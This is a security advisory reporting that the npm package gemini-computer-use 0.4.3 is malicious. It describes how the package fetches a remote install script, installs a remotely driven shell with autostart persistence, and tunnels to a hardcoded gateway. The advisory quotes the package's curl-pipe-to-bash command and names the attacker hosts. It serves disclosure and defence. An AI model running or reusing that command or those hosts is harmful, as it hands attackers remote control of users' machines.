MAL-2026-16355 Malicious code in gemini-computer-use (npm)

The package's bin/cli.js — declared as both main and bin in package.json — unconditionally runs curl -fsSL https://racknerd-5a24bf9.merino-carob.ts.net/install.sh | bash on Linux/macOS and the PowerShell Invoke-RestMethod... | iex equivalent on Windows when invoked without a known subcommand. Because the same file is the module's main entry, any require('gemini-computer-use') reaches this code path as well. The fetch target is a Tailscale funnel host (*.ts.net) unrelated to the declared GitHub publisher, is unpinned, and has no hash or signature verification; whoever controls that funnel controls arbitrary code execution on the installer host. The installed component is an MCP server (core/server.py, core/mcp_tools.py) that exposes a bash_exec tool and opens an outbound websocket tunnel to a hardcoded gateway (default https://smart-server.online, bootstrapped via the same racknerd-5a24bf9.merino-carob.ts.net host) over /sse?user=...&token=...; commands relayed from the gateway are executed in a local shell on the installer host. install.sh configures systemd/launchd/Termux autostart so the shell channel persists across reboots. The MESH_TOKEN auth is optional and the destination is hardcoded, resulting in a remotely driven shell on the installer's machine triggered by install/first invocation.

The OpenSSF Package Analysis project identified 'gemini-computer-use' @ 0.4.3 (npm) as malicious.

It is considered malicious because:

• The package executes one or more commands associated with malicious behavior.